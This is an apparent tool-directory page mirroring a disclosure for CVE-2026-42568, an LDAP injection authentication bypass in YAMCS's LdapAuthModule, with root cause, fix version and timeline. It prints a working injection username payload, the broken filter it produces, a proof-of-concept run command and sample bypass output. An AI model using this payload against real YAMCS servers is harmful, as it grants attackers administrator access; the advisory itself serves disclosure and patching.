Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-42568 — An LDAP injection vulnerability exists in org.yamcs.security.LdapAuthModule. The username parameter is inserted directly into LDAP search filters without RFC 4515 escaping, allowing authentication bypass. | Kitploit
Tools/GitHubGitHub/ex-cal1bur/cve-2026-42568
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & Education
GitHubex-cal1bur/cve-2026-42568

CVE-2026-42568

An LDAP injection vulnerability exists in org.yamcs.security.LdapAuthModule. The username parameter is inserted directly into LDAP search filters without RFC 4515 escaping, allowing authentication bypass.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-42568 — YAMCS LDAP Injection in LdapAuthModule

Summary

An LDAP injection vulnerability exists in org.yamcs.security.LdapAuthModule. The username parameter is inserted directly into LDAP search filters without RFC 4515 escaping, allowing authentication bypass.

FieldValue
CVECVE-2026-42568
SeverityMEDIUM
CWECWE-90: Improper Neutralization of Special Elements in LDAP Query
Affectedyamcs-core < 5.12.7 (with LDAP auth configured)
Fixed inyamcs-core 5.12.7
AdvisoryGHSA-cqh3-jg8p-336j

Vulnerability Details

Root cause (LdapAuthModule.java):

root@kitploit:~
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping

With a typical userFilter of (uid={0}), a malicious username breaks the filter structure:

root@kitploit:~
Input:  *)(uid=*))(|(uid=*
Filter: (uid=*)(uid=*))(|(uid=*)
Result: Universal match — authentication bypassed

Proof of Concept

root@kitploit:~
pip install requests
python3 poc.py http://localhost:8090

Expected output on vulnerable instance (with LDAP configured):

root@kitploit:~
[1] Universal bypass (any account)
     Username: *)(uid=*))(|(uid=*
     Password: anything
     Result:   HTTP 200
     [!!!] AUTHENTICATION BYPASSED
     [!!!] Token received: eyJhbGciOiJSUzI1NiJ9...

Note: This vulnerability only affects YAMCS instances with LdapAuthModule configured. Default installations using built-in auth are not affected.

Impact

An unauthenticated attacker who can reach the YAMCS server can bypass authentication entirely when LDAP auth is configured, gaining access as an arbitrary user including administrators.

Fix

Upgrade to yamcs-core >= 5.12.7.

The fix applies RFC 4515 escaping to the username before constructing the LDAP filter.

Timeline

DateEvent
2026-05Vulnerability reported
2026-05-26Fix released in yamcs-core 5.12.7
2026-05-26Public advisory published

Researcher

Daniel Miranda Barcelona (Excal1bur)

  • GitHub: https://github.com/ex-cal1bur
  • LinkedIn: https://linkedin.com/in/daniel-miranda-barcelona
  • Blog: https://thedumpster.es
Download Tool